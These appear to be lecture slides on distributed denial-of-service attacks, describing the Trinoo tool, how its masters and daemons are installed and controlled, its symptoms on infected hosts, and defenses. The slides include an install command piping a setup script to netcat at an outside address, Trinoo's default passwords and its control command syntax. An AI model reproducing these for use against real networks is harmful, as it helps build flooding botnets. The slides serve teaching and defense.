Trinoo
Trinoo
Background on DDoS
Attack mechanism
Ways to defend
The attack tool – Trinoo
Introduction
Attack scenario
Symptoms and defense
Weaknesses and next evolution
Attack mechanism
Flooding-based
Send packets to victims
Network resources
System resources
Traditional DOS
One attacker
Distributed DOS
Countless attackers
Reflector Attack V
A
TCP SYN, ICMP, UDP.. With
V’s Address as source IP address.
R
TCP SYN-ACK, TCP RST, ICMP,
V UDP..
Ways to defend
Detection
Identify DDoS attack and attack
packets
Filtering
Classify normal and attack packets
Drop attack packets
increases
Effectiveness of detection
Attack source
increases
Effectiveness of filtering
networks
Further upstream
ISP networks
Victim’s network
Victim
Detection
Easy at victim’s network – large amount of
attack packets
Difficult at individual agent’s network – small
amount of attack packets
Filtering
Effective at agents’ networks – less likely to
drop normal packets
Ineffective at victim’s network – more normal
packets are dropped
Backpressure approach
Victim detects DDoS attack
Upstream ISPs filter attack packets
Introduction
UDP flooding
Default size of UDP packet: 1000 bytes
malloc() buffer of this size and send
uninitialized content
Default period of attack: 120 seconds
Destination port: randomly chosen from 0 –
65534
Attack scenario
1. Hack an account
Acts as repository
Scanning tools, attack tools, Trinoo
daemons, Trinoo maters, etc.
Requirements
High bandwidth connection
Large number of users
Little administrative oversight
2. Compromise systems
Look for vulnerable systems
Unpatched Sun Solaris and Linux
Remote buffer overflow exploitation
Set up root account
Open TCP ports
Keep a `friend list`
3. Install daemons
Use “netcat” (“nc”) and “trin.sh”
./trin.sh | nc 128.aaa.167.217 1524 &
./trin.sh | nc 128.aaa.167.218 1524 &
netcat
Network version of “cat”
trin.sh
Shell script to set up daemons
trin.sh
Attacker Direct
Attack
Masters (handlers)
Victim
Operating System Concepts 1.31
Communication ports
Default passwords
“l44adsl” – trinoo daemon password
“gOrave” – trinoo master server startup
“betaalmostdone” – trinoo master remote
interface password
“killme” – trinoo master password to
control “mdie” command
trinoo>
dos IP
DoS the IP address specified
“aaa l44adsl IP” sent to each daemon
mdos <ip1:ip2:ip3>
DoS the IPs simultaneously
mtimer N
Set attack period to N seconds
bcast
List all daemons’ IP
mdie password
Shutdown all daemons
killdead
Invite all daemons to send “HELLO” to
master
Delete all dead daemons from the list
aaa password IP
DoS specified IP
bbb password N
Set attack period to N seconds
rsz password N
Set attack packet size to N bytes
Masters
Crontab
Friend list
… * * * * * /usr/sbin/rpc.listen
…-b
# ls -l ... ...-b
-rw------- 1 root root 25 Sep 26 14:46 ...
-rw------- 1 root root 50 Sep 26 14:30 ...-b
Masters (Con’t)
Socket status
# netstat -a --inet
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 *:27665 *:* LISTEN
...
udp 0 0 *:31335 *:*
...
Masters (Con’t)
File status
# lsof -p 1292
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
master 1292 root cwd DIR 3,1 1024 14356 /tmp/...
master 1292 root rtd DIR 3,1 1024 2 /
master 1292 root txt REG 3,1 30492 14357 /tmp/.../master
master 1292 root mem REG 3,1 342206 28976 /lib/ld-2.1.1.so
master 1292 root mem REG 3,1 63878 29116 /lib/libcrypt-2.1.1.so
Operating System Concepts 1.44
Symptoms
Daemons
Socket status
# netstat -a --inet
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
...
udp 0 0 *:1024 *:*
udp 0 0 *:27444 *:*
...
Daemons (Con’t)
File status
# lsof -p 1316
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
ns 1316 root cwd DIR 3,1 1024 153694 /tmp/...
ns 1316 root rtd DIR 3,1 1024 2 /
ns 1316 root txt REG 3,1 6156 153711 /tmp/.../ns
ns 1316 root mem REG 3,1 342206 28976 /lib/ld-2.1.1.so
ns 1316 root mem REG 3,1 63878 29116 /lib/libcrypt-
2.1.1.so
ns 1316 root mem REG 3,1 4016683 29115 /lib/libc-2.1.1.so
Operating System Concepts 1.46
Defenses
Locate a daemon
Use “strings” to obtain IPs of masters
Contact sites with master installed
Those sites check list of daemons
By inspecting file “…” or get master login password
and use “bcast” command
Get “mdie” password
Use “mdie” to shut down all daemons
“mdie” periodically as daemons restarted by crontab